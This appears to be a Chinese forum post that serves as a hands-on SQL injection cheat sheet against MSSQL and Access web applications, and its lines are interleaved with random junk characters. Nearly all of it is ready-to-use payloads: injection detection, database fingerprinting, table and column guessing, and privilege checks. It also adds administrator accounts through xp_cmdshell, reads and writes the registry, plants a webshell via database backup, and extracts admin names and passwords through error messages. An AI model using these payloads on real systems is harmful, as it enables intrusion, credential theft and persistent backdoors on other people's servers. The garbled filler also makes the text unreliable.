1.判断是否有注入 ; g1 m v- I F
;and 1=1 ; C* ?" K0 G! b1 e" C
;and 1=2
' K* p. O3 R! t) d+ ~9 Y( c8 B& y! @& p9 `$ a
2.初步判断是否是mssql ( W2 \! _2 Z# f
;and user>0
1 g6 d& b' |$ d. ?' e( ~% \! J+ b$ s4 X, r8 _
3.判断数据库系统
- c: c: m2 j/ l;and (select count(*) from sysobjects)>0 mssql
0 _% k* e7 y: [7 A;and (select count(*) from msysobjects)>0 access
6 \+ M8 z0 o- y/ ~0 W4 r7 W) D6 F/ k2 E
4.注入参数是字符
: Q$ {7 I4 K4 K0 x'and [查询条件] and ''=' 9 S7 b9 w/ p$ T& q; C! y) Z, p4 l0 c
; K: J! A8 |. d" Z8 s$ O2 ~
5.搜索时没过滤参数的
) [6 O( @$ h( [% K. {9 B ?# k'and [查询条件] and '%25'='
0 l9 }) x4 y* W+ n1 y
) H8 |! {, V: K7 L6.猜数表名 3 ]& i; j+ v/ J' G7 m3 y* G
;and (select Count(*) from [表名])>0
: n) b" l2 ]) I. j" b: F
2 ^5 v8 u7 W( ?2 @" U$ b0 m1 c7.猜字段
4 T% C. I- } y$ J& H0 l' f;and (select Count(字段名) from 表名)>0
+ t) S- u6 c3 r) F3 ?/ S# L3 i: A. @) X- M1 P* C
8.猜字段中记录长度 ) }; o$ u% [' F) W7 A+ ?
;and (select top 1 len(字段名) from 表名)>0
W. t) F$ O' x" @# ?, T# m; Y k4 t4 c' W/ T5 B9 c
9.(1)猜字段的ascii值(access)
1 X5 U. _# Q: ~1 ~, E* V;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ! r9 i# V7 E# e( f4 h& `, h
" o1 l% E, M5 r! v
(2)猜字段的ascii值(mssql) : S- V+ \* x* {# u2 t
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
# g- G% k. U( j$ T8 M X2 V' p( X: s( B: s0 v+ O
10.测试权限结构(mssql) 2 O/ \5 d& g1 z4 Z
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
7 ~: I. v; E6 T1 g;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ( `1 i( f5 f) m) ~. m" ~
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ( }1 A- B* S, i
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
# ]. ]1 M9 N" q e& Z; J;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
) |" v8 a& [! X;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ! c' p" _3 r, D
;and 1=(select IS_MEMBER('db_owner'));-- 0 x6 T% f! I6 |7 K2 T( |
8 y. \! N* ~, W% P& u8 D11.添加mssql和系统的帐户 7 ?1 {0 {9 \4 J6 {
;exec master.dbo.sp_addlogin username;-- " a2 y9 V* E4 M
;exec master.dbo.sp_password null,username,password;--
2 S8 j4 Q6 p1 `" F) o) V \;exec master.dbo.sp_addsrvrolemember sysadmin username;--
5 U/ {+ v, [( S) u M;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- + _- \$ p# [0 ]7 {
;exec master.dbo.xp_cmdshell 'net user username password /add';--
0 h& m8 x M2 p" G' ?; ?;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ! Q' j. D# e/ d+ ~
& d5 @9 M+ I7 Y12.(1)遍历目录
9 M+ }4 p( ]6 H \0 H1 j;create table dirs(paths varchar(100), id int) 4 B7 Y z. U- i ]; M* g: k! o
;insert dirs exec master.dbo.xp_dirtree 'c:\'
. }9 Y3 v4 t7 l8 `" z0 A) k. V;and (select top 1 paths from dirs)>0 ' [$ ?2 `4 ?7 `5 g2 W
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
0 V: ]7 V2 G8 F) n' D" M }( k# N2 a `
(2)遍历目录 0 b6 G( n' G0 t1 `
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
" w! Q: E# a3 u, A( P" z( ^& O;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 / G" A! I7 {) H3 y
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
+ F0 x8 @% e( X9 I/ W3 W% o;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 5 y |6 X7 i/ N/ f9 \3 j& N8 R$ u
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
1 ?( K n/ i0 k) s/ x$ z/ E3 a* ^- @7 `1 f
13.mssql中的存储过程
3 V! f; Z7 p @. l1 j' Y8 _1 Nxp_regenumvalues 注册表根键, 子键 4 q3 G& v' K" y4 e% ?
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 , y; f( k' o& }' b( F
xp_regread 根键,子键,键值名
/ F' K5 O D, d4 K5 [;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
; a% y: L3 ^' V/ |' l6 Rxp_regwrite 根键,子键, 值名, 值类型, 值 % ~% C! v- S r
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 - n4 P/ ~( E" y% j b/ H
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
: w ?: L. R4 ?xp_regdeletevalue 根键,子键,值名 5 L( n/ k2 d9 [6 p6 U
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
5 L. K; @' T( n: Rxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
0 ]8 p# I2 u* ^0 S& a2 J! }4 H$ y0 {& B7 u
14.mssql的backup创建webshell
' ?; V& r" r4 s1 y: Euse model
2 X; a5 x6 u: Fcreate table cmd(str image);
9 v+ k* T& C6 G8 Vinsert into cmd(str) values ('<% Dim oScript %>');
& F7 H8 r- U* M% w Y( p% ~, @backup database model to disk='c:\l.asp'; ! |2 o# q2 c' C c, k
4 X* r) D. e* }8 N- m M15.mssql内置函数
. _, \/ V8 h6 U6 I2 ?;and (select @@version)>0 获得Windows的版本号 ! t4 A) `! n' ~2 h$ T% m4 w. B; U$ n
;and user_name()='dbo' 判断当前系统的连接用户是不是sa $ [% D& U; I. B; P# o( J% j
;and (select user_name())>0 爆当前系统的连接用户
0 D$ {4 H; T. {;and (select db_name())>0 得到当前连接的数据库 + @/ G5 P& F+ H* g m
2 x7 U9 o# J9 \) N3 Y# K$ \# M5 R' ?
8 W6 o* F0 `* W$ l8 Z' D* H9 U
4 \" ?! ], k' |3 P2 q( d
MSSQL手注暴库
; W0 F9 v6 `8 C' }6 @- }+ [- c6 y+ r" [: S) R8 ?& E
1.暴出当前表名和列名; T4 y6 w8 L& x% p8 L
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。: M1 X [# C* j9 Z \: R D
6 A. T2 U+ w" Z- E( P第一.爆出所有数据库名0 y4 G Z f% {# s
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
& T5 {( ?- G1 d5 g第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
$ J( |, j6 _& a! _( M
9 U, d& n) r. L/ n) R2 e. `8 M+ l6 Y% wand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名( ~8 `( ^7 @4 s0 e, _
: K7 G d" V2 S* U" X' P7 Z7 j
6 K( u3 E6 o$ z2 |第二.爆出指定库中的所有表名
; K/ T9 q5 Q! A8 \2 q5 a$ j得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
, O! h# `* v/ _4 Q7 p# h* ?2 h再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。8 t" U+ {' b! Z6 s: e
$ [# }: o7 C+ I) qand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
J# `7 h1 o& K/ O9 ?/ {1 z0 t5 Vand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
; y1 a& }3 v* |$ p; J1 hand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--1 K. A+ [3 D g
. P% l6 s! p* S& q* o5 U+ w, w% U4.爆出指定表中的所有列名
0 i; b0 Y5 k4 R8 i7 E- yand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) ) D( L5 q# Z* _) ^9 K; r
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
" a( V7 _ f1 R) n4 V" E3 j: u8 C
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
2 R( O; f, X) j
: c0 Z% A5 n6 z再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
6 i \2 e" e, J& i依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
( i7 P4 ]- }) J3 b' x8 B5 B- a) K) l# Y* s" h
- z$ E* y% j9 Z/ M. P7 @; z
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值; x0 h7 _1 ]/ ^8 `! M+ i% w! I2 Q f
: U" `, I( x1 [# G+ D
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名7 e1 _" v8 l1 S" g. ~1 Y
- z- n) l+ C; X0 t! p8 s O
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
1 ]; Y! o# U5 {3 U7 M) P; X
: u. a0 H L4 [+ A) A; e0 E: d* \% |; k9 R
) z, T4 M$ F& a0 K; B! _& z5.读取指定表中的数据
5 Z7 w. ~% C, T# R" ]9 o6 z$ P% P% ?9 ^- ^. [
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 + Y5 H6 p. R9 d- R2 s: q
8 g( E# o3 D) |' S. N _and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--' h6 K! j2 Y! S" w6 m; w
6 j7 v, f8 u( N' [and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码# p' |; Z- s4 L G! D
" S6 X% y0 G. A; R* \1 G% C
" x, ~! Y! q# Wand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
8 \3 }' {/ c+ Y( [# z5 @; E+ c6 |1 _( z s
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
" P! r1 O1 m) K) @2 W( f
: [# u1 _; R& t4 h. Vand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
. V: y* A. v/ k# L7 B/ l. P; D# ^! @! b% m
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。# R: @, ^/ e5 |/ S+ r
|